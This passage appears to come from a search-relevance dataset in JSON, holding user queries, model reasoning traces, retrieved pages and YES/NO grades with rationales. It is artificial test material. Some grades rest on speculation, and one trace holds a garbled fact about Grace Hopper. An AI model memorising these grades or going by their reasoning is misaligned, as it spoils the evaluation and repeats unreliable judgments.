https://twitter.com/ScienceAllDay/status/684882897908584448/photo/1| created_at: Wed Jan 06 23:43:02 +0000 2016 | favorite_count: 136 | quote_count: 0 | reply_count: 1 | retweet_count: 82 | is_quote_status: False | retweeted: False | lang: en Please conserve energy. https://twitter.com/ScienceAllDay/status/684787025841487873/photo/1| created_at: Wed Jan 06 17:22:04 +0000 2016 | favorite_count: 76 | quote_count: 0 | reply_count: 0 | retweet_count: 29 | is_quote_status: False | retweeted: False | lang: en Save this one for Valentine's Day. https://twitter.com/ScienceAllDay/status/684514484270972928/photo/1| created_at: Tue Jan 05 23:19:05 +0000 2016 | favorite_count: 34 | quote_count",
                "model_trace": "Query Decomposition:\n1. {engaging Twitter accounts}: The document is about a Twitter account, so this subcomponent is met -> ([1], SATISFIED)\n2. {posts about cool new discoveries in biology, chemistry, physics, and other STEM fields}: The document content does not provide specific examples of posts about new discoveries in biology, chemistry, physics, or other STEM fields. The tweets mentioned are general and do not clearly indicate the type of content shared -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent about being a Twitter account but does not provide clear evidence that it posts about new discoveries in various STEM fields. NO."
            },
            {
                "grade": "NO",
                "title": "CYNTHIA MILLER, science teacher (@CMiller_teacher) ...",
                "url": "https://twitter.com/cmiller_teacher",
                "published_date": null,
                "text": "I am a middle school science teacher with a beautiful little girl and amazing husband.  I am an outgoing person. #timelessteach| profile_url: https://www.amazon.com/wedding/registry/QPTI3E9 | name: CYNTHIA MILLER, science teacher | created_at: Sun Aug 04 18:37:12 +0000 2019 | favourites_count: 9081 | followers_count: 5715 | friends_count: 4928 | media_count: 10139 | statuses_count: 60612 | location: San Antonio, TX",
                "model_trace": "Query Decomposition:\n1. {Engaging Twitter accounts}: The document is a Twitter account, so this subcomponent is met -> ([1], SATISFIED)\n2. {Posts about cool new discoveries in biology, chemistry, physics, and other STEM fields}: The document does not provide any information about the content of the tweets, so it is unclear if this subcomponent is met -> ([0], UNSURE)\n3. {Content to share with middle school students to get them excited about science}: The document does not provide any information about the content of the tweets, so it is unclear if this subcomponent is met -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {Engaging Twitter accounts}, which is satisfied. However, there is no information provided about the content of the tweets, which is critical to determine if the account posts about new discoveries in STEM fields and if it is suitable for middle school students. Therefore, the document does not fully meet the user's needs. NO."
            },
            {
                "grade": "NO",
                "title": "my 9TH grade biology teacher n 11th grade chemistry why ...",
                "url": "https://twitter.com/mavi4mayor/status/1647469621274877952",
                "published_date": null,
                "text": "my 9TH grade biology teacher n 11th grade chemistry why I went to Howard and why I did biology ima give that to someone else| created_at: Sun Apr 16 05:19:00 +0000 2023 | favorite_count: 161 | reply_count: 7 | retweet_count: 4 | is_quote_status: True | lang: en",
                "model_trace": "Query Decomposition:\n1. {Engaging Twitter accounts}: This document is a Twitter account, so it meets this subcomponent -> ([1], SATISFIED)\n2. {Posts about cool new discoveries in biology, chemistry, physics, and other STEM fields}: The content provided does not indicate that this Twitter account posts about new discoveries in STEM fields -> ([1], UNSATISFIED)\n3. {Content to share with middle school students to get them excited about science}: The content provided does not indicate that this Twitter account posts engaging or educational content suitable for middle school students -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents of posting about new discoveries in STEM fields or being suitable for middle school students. NO."
            },
            {
                "grade": "NO",
                "title": "As a science student, I want to connect myself more with ...",
                "url": "https://www.quora.com/As-a-science-student-I-want-to-connect-myself-more-with-science-What-are-some-simple-interesting-scientific-tricks-which-if-put-into-practice-will-increase-my-interest-in-science",
                "published_date": null,
                "text": "As a science student, I want to connect myself more with science. What are some simple interesting scientific tricks which, if put into practice, will increase my interest in science?               Be curious about how the world works, and try different ideas to see what makes sense. If you can get outside and observe things, it helps, but many things can be done at home.    Place a tropical fish tank inside where sunlight can reach it. Put plants inside, both on the bottom and floating at the top. Get catfish to clean the bottom and \u201calgae eaters,\u201d a kind of fish, to clean algae that will grow on the sunlit side. Learn about which fish go together. You may try green or red swordtails, which are \u201clive bearers.\u201d Baby fish will try to hide in the plants before mothers who just gave birth to them try to eat newborns! You\u2019ll separate them later.   Try training cats and dogs. Keep them from \u201cdoing their business\u201d inside is the first goal but next is keeping claws and maws off your furniture and friends. Kittens and pups raised together get along well. Our cat could use the toilet but not flush. When the same toilet was clear of poop, he did not mind drinking from it.   Observe light going through prisms. Change the angles and color of the light. Change the kind of prism (shape and composition). Play with what the light goes through (holes, mist, etc.).   Play with sound. How loud is my coffee grinder in the air? Holding it down on the counter?   Doppler effect: in a parked car, how do passing cars of different speeds sound? What happens when your car is moving and the other cars pass in the same direction or a different direction?   Gardening: Try a variety of plants/seeds: bean, tomato, corn, sage, parsley, mint. Some you can use for cooking, others you can just watch. Corn, just put one into a plastic cup with a wet tissue and hang it on your window (you can put the name of the student on the cup) and see it grow. We used to have \u201cno fertilizer,\u201d or \u201chorse manure added,\u201d or \u201ccow manure added,\u201d and the cow group was ",
                "model_trace": "Query Decomposition:\n1. {Engaging Twitter accounts}: The document does not mention Twitter accounts -> ([0], UNSATISFIED)\n2. {Posts about cool new discoveries in biology, chemistry, physics, and other STEM fields}: The document provides practical science activities and experiments, not new discoveries in STEM fields -> ([1], UNSATISFIED)\n3. {Content to share with middle school students to get them excited about science}: The document contains interesting science activities that could engage middle school students -> ([2], SATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents of finding Twitter accounts and new discoveries in STEM fields. Although it offers engaging content for students, it does not align with the specific intent of the query. NO."
            }
        ]
    },
    {
        "query": "5. I'm trying to find an instructional cooking video that shows how to make an authentic Thai curry dish from scratch. I remember it had really clear step-by-step instructions and the chef had a soothing, informative presenting style. Do you know of a good video like that?",
        "grid_pos": [
            2,
            7
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. The movie being described is \"Howl's Moving Castle\".\n\n2. The TV show being described is likely \"Teen Titans\" or \"Young Justice\".\n\n3. A good documentary covering the history and cultural significance of samurai in Japan could be \"The Samurai\" by NHK.\n\n4. A video essay analyzing themes and symbolism in classic film noir movies could be \"The Subversive Genius of Double Indemnity\" by Lessons from the Screenplay.\n\n5. A good instructional cooking video for an authentic Thai curry dish could be \"Massaman Curry | Marion's Kitchen\" on YouTube."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Home Cooking: Chicken Massaman Curry - Thai comfort food",
                "url": "https://www.youtube.com/watch?v=RTwyJpFbRik&feature=youtu.be",
                "published_date": "2020-06-09",
                "text": "This dish originally from India. It became one of the Thai household favorite dishes dated back to King Rama the second or nearly 250 years ago. The original Thai recipe cooks with beef, but nowadays, it could be pork, beef, or chicken.\n\nMore recipe and instructions on how to cook delicious authentic Thai food, please follow us on:\nInStagram: https://instagram.com/thaicomfortfood\nBlog: www.mythaicomfortfood.com\n\nRecipe: Chicken Massaman Curry\nServes 6\n\nYou\u2019ll need:\n\nFor Curry Paste:\n\n5 Dried Chilies, peeled, sliced and all seeds removed\n3TB Garlic, sliced\n2TB Shallot, sliced\n1 tsp Coriander Seeds\n\u00bd tsp Cumin Seeds\n1 tsp Black Pepper\n5 Nutmegs (I substituted with raw cashew nuts)\n2 Cardamon Seeds\n2TB Lemongrass, sliced\n1 tsp Galangal, sliced\n1 tsp Kaffir Lime Leaves, sliced\n1 Cilantro Root, sliced\n1 tsp Ground Salt\n1 tsp Shrimp Paste (please note it has a powerful smell for most people but is crucial!)\n\nOther Ingredients:\n\n1 cup (300 grams) of Chicken or Beef, diced into 1 inch\n1 cup Coconut Cream ( Can use up to 2 cups if you prefer it to be creamy)\n2 cups Coconut Milk\n2TB Peanuts (I substituted with cashew nuts)\n2TB Ginger, finely sliced (use for marinating meat)\n1 potato, peeled and cut into 1in rounds\n4 Cardamon Seeds\n2 Cardamom Leaves (optional)\n1 cinnamon, approx 2 inches in length or combined\n2TB Vegetable Oil\n\nSeasoning sauce ingredients:\n\n2TB Fish Sauce\n2TB Palm Sugar\n2TB Tamarind Juice\n\nDirections: Massaman Curry Paste\n\n1. Set the pan to low to medium heat on the nonstick pan with no oil\n2. Toss dried chilies, cumin seeds, black peppers, coriander seeds, nuts, cardamom seeds, lemongrass, galangal, kaffir lime leaves, coriander root, ground salt into a pan. Stir them until they are all dried and roasted and put them aside. Take a moment to enjoy the aroma!\n3. (Separately) Toss the garlic and shallot until they are dried and roasted\n4. (Separately) Toss the peanuts, cardamon seeds, cinnamon until they are roasted (NOTE: this is not part of the curry paste ingredients). Put this aside\n5. Finely crush or ble",
                "model_trace": "Query Decomposition:\n1. {instructional cooking video}: The document is a YouTube video, which is an instructional format -> ([1], SATISFIED)\n2. {authentic Thai curry dish}: The video is about making Chicken Massaman Curry, which is an authentic Thai curry dish -> ([1], SATISFIED)\n3. {clear step-by-step instructions}: The content includes detailed instructions for making the curry paste and the dish itself -> ([1], SATISFIED)\n4. {chef with a soothing, informative presenting style}: The document does not provide information about the chef's presenting style -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {instructional cooking video}, {authentic Thai curry dish}, and {clear step-by-step instructions}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Thai Ginger Chicken",
                "url": "https://importfood.com/videos/item/thai-ginger-chicken",
                "published_date": "2023-01-01",
                "text": "This video demonstrates how to make a more \"high end\" recipe that we special ordered, and the street vendor handled it perfectly using her sidewalk kitchen. Try to use fresh green beans. Omit sliced bamboo if you'd like, and use the fresh vegetables of your choice.",
                "model_trace": "Query Decomposition:\n1. {instructional cooking video}: The document mentions a video demonstrating a recipe, so it likely includes an instructional cooking video -> ([1], SATISFIED)\n2. {authentic Thai curry dish}: The document is about Thai Ginger Chicken, which is not a curry dish -> ([1], UNSATISFIED)\n3. {clear step-by-step instructions}: The document does not provide enough information to determine if the instructions are clear -> ([0], UNSURE)\n4. {chef with a soothing, informative presenting style}: The document does not provide information about the chef's presenting style -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {instructional cooking video} and {authentic Thai curry dish}. Since the document does not satisfy the subcomponent {authentic Thai curry dish}, it is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Authentic Thai Cooking Videos - Watch Free Thai Cooking Lessons on Thai Cookbook TV",
                "url": "https://www.thaicookbook.tv/thai-cooking-videos/",
                "published_date": "2013-01-01",
                "text": "Thai Appetizers \n Steamed Egg with Tomato and Mint Salsa \u25ba It's a real treat! normally served warm from the bowl as a main dish with steamed rice, this recipe is served on a plate cold, as an appetizer, with a delicious and slightly spicy tomato and mint salsa. Deep Fried Sun-Dried Pork \u25ba Try this recipe for Moo Dad Deaw, our semi-dried deep-fried pork snacks. They are one of Thailand's most popular appetizers, and this recipe shows you how easy it is to prepare them for your next dinner party or as a great snack for you alone in front of the TV. Spicy Grilled Squid with Pork Filling \u25ba Yam Blah Muek Yad Sai Moo is an outstanding dish, made by stuffing the body of little squids with ground pork that's seasoned with Thai herbs and spices. They are then grilled and sliced, making neat little 'squid sausages' to be eaten with wood sticks, along with a spicy, sweet, and salty relish that's just sooo good. Pork or Chicken Satay \u25ba This easy to follow recipe shows you the best techniques for making your satay taste and look the way they do in Thailand. Prepare these delicious pork or chicken satays and serve with either peanut sauce, cucumber relish, or both. Spicy and Salty Fried Chicken Wings \u25ba Worawut's Thailand style fried chicken have an amazing blend of flavors and aromas from fresh lemongrass, galagal, kaffir lime, and dry roasted cumin, coriander, and peppercorns. They are very easy to make up in advance, making them an easy party food.\n\nThai Main Dishes \n Northern Thai Burmese Curry \u25ba Kaeng Hunglay, or Kaeng Hung Leh, is a northern Thailand-style sour and sweet curried stew made with pork belly or other fatty pork meat that is quite different from the well known green, yellow, and red Thai curries. Kaeng Hunglay is flavored with Garam Masala, an aromatic blend of spices often used in Indian and Burmese cuisine, and doesn't contain coconut milk. The stew has the warm, sweet flavors of toasted coriander, black pepper, cumin, cardamom, and cinnamon, and a rich and hearty taste. Panang Beef Curry \u25ba Panang beef is on",
                "model_trace": "Query Decomposition:\n1. {instructional cooking video}: The document is about Thai cooking videos, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {shows how to make an authentic Thai curry dish from scratch}: The document mentions a Northern Thai Burmese Curry and Panang Beef Curry, suggesting it includes videos on authentic Thai curry dishes -> ([2], SATISFIED)\n3. {clear step-by-step instructions}: The content describes the videos as easy to follow, implying clear instructions -> ([2], SATISFIED)\n4. {chef with a soothing, informative presenting style}: The document does not provide information about the presenting style of the chef -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {instructional cooking video}, {shows how to make an authentic Thai curry dish from scratch}, and {clear step-by-step instructions}. All these subcomponents are SATISFIED. YES."
            },
            {
                "grade": "YES",
                "title": "Easy Authentic Thai Green Curry At Home - YouTube",
                "url": "https://www.youtube.com/watch?v=rTK8MWYYLko",
                "published_date": null,
                "text": "Homemade Thai Green Curry deserves respect when making it. Good thing it's actually very easy and just requires a little elbow grease. \nGet My Cookbook: http://bit.ly/JWCookbookAmazon\nAdditional Cookbook Options (other stores, international, etc.): https://bit.ly/TheJWCookbook\nFOLLOW ME:\nInstagram: https://www.instagram.com/joshuaweissman\nTik Tok: https://www.tiktok.com/@flakeysalt\nTwitter: https://twitter.com/therealweissman\nFacebook: https://www.facebook.com/thejoshuaweissman\nSubreddit: https://www.reddit.com/r/JoshuaWeissman/\n---------------------------------------------------------------\nFull Recipe: https://www.joshuaweissman.com/post/easy-authentic-thai-green-curry\nIngredients Needed:\nGreen Curry Paste:\n- 2 teaspoons (4g) coriander seeds\n- 1 teaspoon (2g) cumin seeds\n- 1 teaspoon (3g) white peppercorn\n- 3 serranos, thinly sliced \n- 9 Thai chilies, thinly sliced\n- 2 small shallots, finely chopped\n- 1 lemongrass stalk, rough chopped\n- 2-inch Galangal, finely chopped,\n- 3 kaffir lime leaves, chiffonade\n- 7 cloves garlic\n- 4 springs cilantro stems\n- zest of 1 lime\n- 1/2 teaspoon (4g) dried Thai shrimp paste\nCurry: \n- 2 tablespoons (28g) oil\n- All of the green curry paste \n- 5 cloves garlic, finely chopped\n- 3/4 cup (177ml) chicken stock \n- 13.5oz (400ml) full fat coconut milk \n- 2 tablespoons (30ml) fish sauce\n- 1 tablespoon (17g) palm sugar \n- 3/4 lb. (340g) chicken thigh \n- 1.5 cups (160g) snow peas\n- 1/2 bunch Thai basil leaves \n- 2 Thai eggplants \n- juice of 1 lime\n- steamed rice, for serving\n- fried shallots, for garnish\n- Thai basil, for garnish \n- 3 Serrano chilies, thinly sliced, for garnish\n- lime wedges, for serving\n| view_count: 1,474,237 views | short_view_count: 1.4M views | num_likes: 41K | num_subscribers: 9.31 million",
                "model_trace": "Query Decomposition:\n1. {instructional cooking video}: This document is a YouTube video, which is an instructional cooking video -> ([1], SATISFIED)\n2. {shows how to make an authentic Thai curry dish from scratch}: The title and content indicate that the video is about making an authentic Thai Green Curry from scratch -> ([1], SATISFIED)\n3. {clear step-by-step instructions}: The detailed ingredient list and the nature of YouTube cooking videos suggest that it likely includes clear step-by-step instructions -> ([2], SATISFIED)\n4. {chef with a soothing, informative presenting style}: The document does not provide information about the chef's presenting style -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {instructional cooking video}, {shows how to make an authentic Thai curry dish from scratch}, and {clear step-by-step instructions}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Amazing Thai Green Curry Recipe! - YouTube",
                "url": "https://www.youtube.com/watch?v=8EexqgFelmg",
                "published_date": null,
                "text": "Looking for an authentic Thai green curry recipe? Try Chef Pom's deliciously creamy and fragrant Thai green curry recipe for a flavour packed Friday!\nTo find the recipe for this dish, click the link below!\n- https://bit.ly/3vNyonN -\n- Amazing Thai Green Curry Recipe! | Flavour Fridays -\nDiscover Asian and Oriental cuisine in our 5-day cooking course, mastering techniques, exploring recipes, and gaining cultural insights with expert chefs! - https://bit.ly/43yzPWD \nBecome a wokstar, join one of our classes! - http://bit.ly/2rqw3Pv\nVisit our shop for woks, cleavers, cookbooks & more! -\nUK : http://bit.ly/2Ub0V1O\nUSA : https://amzn.to/3uRnflc\nBe sure to like, comment and subscribe to our channel and hit the notification bell so you can be alerted when we upload a new video or #wokwednesdays #recipe.\nGot a question or inquiry? \nE-mail us at: Info@schoolofwok.co.uk\n| view_count: 86,257 views | short_view_count: 86K views | num_likes:  | num_subscribers: 524K",
                "model_trace": "Query Decomposition:\n1. {instructional cooking video}: The document is a YouTube video about making Thai green curry, which is an instructional cooking video -> ([1], SATISFIED)\n2. {authentic Thai curry dish}: The document states that it is an authentic Thai green curry recipe -> ([1], SATISFIED)\n3. {clear step-by-step instructions}: The document does not provide specific information about the clarity of the instructions, but it can be inferred that a YouTube cooking video would likely have step-by-step instructions -> ([2], SATISFIED)\n4. {chef with a soothing, informative presenting style}: The document does not provide information about the chef's presenting style -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {instructional cooking video}, {authentic Thai curry dish}, and {clear step-by-step instructions}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Thai Red Curry with Chicken \u0e41\u0e01\u0e07\u0e40\u0e1c\u0e47\u0e14\u0e44\u0e01\u0e48\u0e1f\u0e31\u0e01\u0e17\u0e2d\u0e07",
                "url": "https://hot-thai-kitchen.com/red-curry-chicken-squash/",
                "published_date": null,
                "text": "Red curry is the first curry I recommend people make if they are new to Thai cooking. The process is quick, and it is so simple it is essentially fail-proof, but the flavours are so complex and very representative of the spirit of Thai cuisine. \n Thai red curry with chicken and kabocha squash. \nIngredients for Thai Red Curry\n  Red curry paste - I've included a homemade red curry paste recipe, but don't feel like you need to make it for curry to be \"legit\". It's time consuming, and even most Thai people buy their curry pastes. If you're buying, I highly recommend checking out this post for how to choose the right curry paste for you.   Coconut milk - This is what makes the curry rich and creamy, and it's important to use good quality, full-fat coconut milk. Watch this video for how to choose the best coconut milk.  Chicken thigh - I highly recommend using chicken thighs over breast so that it can have time to braise in the liquid so it will become tender and load the curry sauce with more chicken flavour.   Chicken stock - you can theoretically use water, but for maximum flavour, go with chicken stock. You can use store bought or homemade stock, but make sure it's unsalted because the curry paste and fish sauce are both quite salty already.  Fish sauce - soy sauce can be used instead in case of allergies or if making a vegan version. Watch this video for how to choose the best quality fish sauce   Palm sugar - it is traditional to use palm sugar, but light brown sugar or granulated sugar are fine substitutes because the curry is strongly flavoured, so it won't much much difference.  Kabocha squash\u00a0- this creamy, sweet squash is the perfect pairing with red curry, but feel free to substitute other vegetables. More on this below.  Thai basil - If you don't have it, regular Italian basil will do.  Red pepper - this is added just for some colour. Red bell pepper will do, or anything mild. \n \nIngredients for Thai Red Curry Paste\n  Mild (large) dried chilies - these are added for flavour and colour  Spicy (small) dried ",
                "model_trace": "Query Decomposition:\n1. {instructional cooking video}: The document mentions a video for choosing coconut milk and fish sauce, but it is unclear if there is a comprehensive instructional video for the entire recipe -> ([0], UNSURE)\n2. {authentic Thai curry dish}: The document is about making an authentic Thai red curry dish -> ([1], SATISFIED)\n3. {clear step-by-step instructions}: The document provides detailed step-by-step written instructions, but it does not confirm if the video includes these -> ([0], UNSURE)\n4. {chef with a soothing, informative presenting style}: The document does not provide information about the chef's presenting style -> ([0], UNSURE)\n\nAssessment: The only relevant subcomponent that can be evaluated is {authentic Thai curry dish}, which is satisfied. However, the query specifically asks for an instructional video, and the document does not clearly indicate the presence of a comprehensive instructional video for the entire recipe.\n\nNO."
            }
        ]
    },
    {
        "query": "There's a contemporary artist I'm trying to remember who creates incredibly detailed, large-scale installations that often incorporate elements of nature and technology. Their work frequently addresses themes of environmental conservation and the impact of human activity on ecosystems. I recall seeing an exhibition where they created a massive indoor 'forest' made entirely of recycled materials, complete with artificial rain and mist. The artist is known for their interdisciplinary approach, combining sculpture, digital media, and sometimes even live plants in their pieces. Who might this innovative artist be?",
        "grid_pos": [
            2,
            8
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Person",
        "reasoning_trace": [
            "The reasoning for each query:\n\n1. The description points to Grace Hopper, a pioneering computer scientist known for her work on COBOL, her service in the US Navy, and her famous clock-wise pin.\n\n2. This query is describing Jacques Derrida, a French philosopher born in Algeria who is known for his work in deconstruction and post-structuralism.\n\n3. The query is likely referring to Bayard Rustin, a key organizer in the civil rights movement who worked closely with Martin Luther King Jr. but often remained in the background due to his sexual orientation.\n\n4. While there are several artists who could fit this description, one possibility is Olafur Eliasson, known for his large-scale installations that often incorporate natural elements and address environmental issues.\n\n5. The psychologist described is Daniel Kahneman, who along with Amos Tversky, developed prospect theory and made significant contributions to the field of behavioral economics, winning the Nobel Prize in Economics in 2002."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "John Baldessari - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/John_Baldessari",
                "published_date": "2005-06-08",
                "text": "John Baldessari John Baldessari in 2009 Born John Anthony Baldessari June 17, 1931 National City, California Died January 2, 2020 (aged 88) Los Angeles, California Nationality American Education San Diego State University, Otis College of Art and Design, Chouinard Art Institute, University of California at Berkeley Known for Painting, conceptual art Notable work Everything is Purged... (1966\u201368), Tips for Artists Who Want to Sell (1966\u201368), Bloody Sundae (1987), Frames and Ribbons (1988), Noses & Ears, Etc.: Blood, Fist, And Head (With Nose And Ear) (2006) Style Contemporary Art Spouse Carol Ann Wixom (1960\u20131984) Awards 2014 National Medal of Arts Award, Golden Lion for Lifetime Achievement, awarded by La Biennale di Venezia, Goslarer Kaiserring \n John Anthony Baldessari (June 17, 1931 \u2013 January 2, 2020) [1] was an American conceptual artist known for his work featuring found photography and appropriated images. He lived and worked in Santa Monica and Venice, California.\n Initially a painter, Baldessari began to incorporate texts and photography into his canvases in the mid-1960s. In 1970 he began working in printmaking, film, video, installation, sculpture and photography. [2] He created thousands of works which demonstrate\u2014and, in many cases, combine\u2014the narrative potential of images and the associative power of language within the boundaries of the work of art. His art has been featured in more than 200 solo exhibitions in the U.S. and Europe. [3] His work influenced that of Cindy Sherman, David Salle, Annette Lemieux, and Barbara Kruger among others. [4] [5]\n\nEducation[edit]\n 1949\u201353 B.A., San Diego State College, California\n1954\u201355 University of California, Berkeley \n1955 University of California, Los Angeles \n1955\u201357 M.A., San Diego State College, California\n1957\u201359 Otis Art Institute, Los Angeles\n Chouinard Art Institute, Los Angeles \nEarly life and career[edit]\nBaldessari was born in National City, California, [6] to Hedvig Marie Jensen (1896-1950), a Danish nurse, [7] and Antonio Baldessari (1877-1976), ",
                "model_trace": "Query Decomposition:\n1. {Contemporary artist}: This document is about John Baldessari, who is a contemporary artist -> ([1], SATISFIED)\n2. {Creates detailed, large-scale installations}: The document mentions that Baldessari worked in installation art, but does not specify detailed, large-scale installations -> ([2], UNSURE)\n3. {Incorporates elements of nature and technology}: The document does not mention Baldessari incorporating elements of nature and technology -> ([0], UNSURE)\n4. {Addresses themes of environmental conservation and the impact of human activity on ecosystems}: The document does not mention these themes in Baldessari's work -> ([0], UNSURE)\n5. {Created a massive indoor 'forest' made entirely of recycled materials}: The document does not mention this specific work -> ([0], UNSURE)\n6. {Interdisciplinary approach combining sculpture, digital media, and live plants}: The document mentions Baldessari's interdisciplinary approach but does not specify the combination of sculpture, digital media, and live plants -> ([2], UNSURE)\n\nAssessment: The document provides information about John Baldessari, a contemporary artist, but does not sufficiently address the specific details and themes described in the query. Therefore, it does not fully satisfy the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "David Hockney",
                "url": "https://www.hockney.com/index.php/home",
                "published_date": null,
                "text": "",
                "model_trace": "Query Decomposition:\n1. {contemporary artist}: The document is about David Hockney, who is a contemporary artist -> ([1], SATISFIED)\n2. {creates detailed, large-scale installations}: The document does not provide information about the type of work David Hockney creates -> ([0], UNSURE)\n3. {incorporates elements of nature and technology}: The document does not provide information about the themes or elements in David Hockney's work -> ([0], UNSURE)\n4. {addresses themes of environmental conservation and human impact on ecosystems}: The document does not provide information about the themes in David Hockney's work -> ([0], UNSURE)\n5. {created a massive indoor 'forest' made of recycled materials}: The document does not provide information about specific installations by David Hockney -> ([0], UNSURE)\n6. {interdisciplinary approach combining sculpture, digital media, and live plants}: The document does not provide information about David Hockney's interdisciplinary approach -> ([0], UNSURE)\n\nAssessment: The only subcomponent that is clearly satisfied is that David Hockney is a contemporary artist. However, the document does not provide any information on the specific type of work or themes that match the detailed description in the query. Therefore, the document is not helpful for identifying the artist described in the query. NO."
            },
            {
                "grade": "NO",
                "title": "David Hockney",
                "url": "https://www.hockney.com/home",
                "published_date": null,
                "text": "",
                "model_trace": "[QUERY] There's a contemporary artist I'm trying to remember who creates incredibly detailed, large-scale installations that often incorporate elements of nature and technology. Their work frequently addresses themes of environmental conservation and the impact of human activity on ecosystems. I recall seeing an exhibition where they created a massive indoor 'forest' made entirely of recycled materials, complete with artificial rain and mist. The artist is known for their interdisciplinary approach, combining sculpture, digital media, and sometimes even live plants in their pieces. Who might this innovative artist be?\n\n[WEBPAGE INFORMATION]\n[TITLE] David Hockney\n[URL] https://www.hockney.com/home\n[DATE PUBLISHED] None\n[CONTENT] \n\nQuery Decomposition:\n1. {contemporary artist}: The document is about David Hockney, who is a contemporary artist -> ([1], SATISFIED)\n2. {creates incredibly detailed, large-scale installations}: The document does not provide information about the type of art David Hockney creates -> ([0], UNSURE)\n3. {incorporates elements of nature and technology}: The document does not provide information about the specific elements in Hockney's work -> ([0], UNSURE)\n4. {frequently addresses themes of environmental conservation and the impact of human activity on ecosystems}: The document does not provide information about the themes in Hockney's work -> ([0], UNSURE)\n5. {created a massive indoor 'forest' made entirely of recycled materials, complete with artificial rain and mist}: The document does not provide information about specific installations by Hockney -> ([0], UNSURE)\n6. {interdisciplinary approach, combining sculpture, digital media, and sometimes even live plants}: The document does not provide information about Hockney's interdisciplinary approach -> ([0], UNSURE)\n\nAssessment: The only subcomponent tagged [1] is {contemporary artist}, which is SATISFIED. However, the document does not provide enough information to confirm the other key aspects of the query, especially the specific type of work and themes described.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "10 Artists Tackling Climate Change in Their Work - Artsy",
                "url": "https://www.artsy.net/article/artsy-editorial-10-artists-making-urgent-work-environment",
                "published_date": null,
                "text": "Art  These 10 Artists Are Making Urgent Work about the Environment Shannon Lee   The natural world has been a source of inspiration for artists since time immemorial. The Earth is a running thread that links together the prehistoric cave paintings of Chauvet, Katsushika Hokusai\u2019s great wave, and Ana Mendieta\u2019s 20th-century land works. In recent years, however, as wildfires ignite across the globe, ocean levels rise, and entire ecosystems collapse, artists have been faced with the ever-increasing and inescapable effects of our climate crisis. Now, the radiant majesty of a Georgia O\u2019Keeffe flower or the unperturbed wilderness of a Thomas Cole landscape can feel of another time\u2014or another world entirely. Reflecting on these ecological perils, many contemporary artists have become climate activists, using their work as a platform to raise awareness and imagine a more sustainable future. While this year\u2019s self-isolated Earth Day is a strange one to say the least, the COVID-19 pandemic has shown us that global, collectivized action against existential threat is possible. And art can be a beacon of hope, lighting the way and compelling us to act. Here, we share 10 contemporary artists who are impactful leaders in this space.     Olafur Eliasson     To celebrate this year\u2019s Earth Day, renowned conceptual artist Olafur Eliasson is launching a new artwork that will guide us away from our narrow, human-centric view of our planet. Titled Earth Perspectives, the participatory work reenvisions human constructs like maps, the globe, and space by including the perspectives of plants, animals, and other natural elements. \u201cOn Earth Day,\u201d said Eliasson in a press release, \u201cI want to advocate\u2014as on any other day\u2014that we recognise these various perspectives and, together, celebrate their coexistence.\u201d   Earth Perspectives is far from Eliasson\u2019s first foray into climate activism. His presentation at the 2019 United Nations Climate Action Summit powerfully demonstrated art\u2019s ability to provoke emotional, visceral responses to climate c",
                "model_trace": "Query Decomposition:\n1. {contemporary artist}: The document lists contemporary artists -> ([1], SATISFIED)\n2. {creates incredibly detailed, large-scale installations}: It is likely that some of the artists mentioned might create large-scale installations -> ([2], SATISFIED)\n3. {incorporates elements of nature and technology}: The document mentions artists tackling environmental themes, which may include elements of nature and technology -> ([2], SATISFIED)\n4. {addresses themes of environmental conservation and the impact of human activity on ecosystems}: The document specifically focuses on artists addressing environmental issues -> ([1], SATISFIED)\n5. {created a massive indoor 'forest' made entirely of recycled materials, with artificial rain and mist}: The document does not provide specific details about such an installation -> ([0], UNSURE)\n6. {interdisciplinary approach, combining sculpture, digital media, and live plants}: The document may mention artists with interdisciplinary approaches -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {contemporary artist}, {creates incredibly detailed, large-scale installations}, {incorporates elements of nature and technology}, {addresses themes of environmental conservation and the impact of human activity on ecosystems}, and {interdisciplinary approach, combining sculpture, digital media, and live plants}. Since all these subcomponents are SATISFIED, the document is likely helpful for identifying the artist in question. YES."
            },
            {
                "grade": "NO",
                "title": "Communicating environmental data through art: the role of emotion ...",
                "url": "https://www.nature.com/articles/s41599-023-02459-3",
                "published_date": null,
                "text": "Introduction  Pollution is the leading global cause of premature death and disease (Landrigan et al. 2018). Environmental health risks are disproportionately placed on low-income and/or communities of color and these environmental justice (EJ) communities are exposed to environmental burdens and experience additional socioeconomic challenges, such as political isolation, linguistic isolation, and/or information disparities (Bullard 1990; Ramirez-Andreotta et al. 2023a, 2016; Palawat et al. 2023a, Wilson et al. 2012). Effective communication, public outreach, and education are necesscommunication about the environment via data sharing shapes public perceptions, behavioral changes, and policy surrounding the natural world (Allen 2017, Geiger et al. 2017, Swim et al. 2018). The field employs many methods to engage communities with scientific data and promote risk-adverse behavior, such as reducing one\u2019s exposure to contamination, or pro-environmental behavior, like reducing one\u2019s use of water or energy. However, informational campaigns as a communication method have not been successful in generating behavioral changes (Keller et al. 2020). Referred to as the value-action gap in environmental psychology, increased environmental knowledge does not always translate into increased pro-environmental behavior (Kl\u00f6ckner 2015; Steg and Vlek 2009). Explanatory graphics, online web platforms, and static forms of presentations (e.g., printed reports, pamphlets, infographics) do not reach or engage all audiences. Alternative approaches to environmental 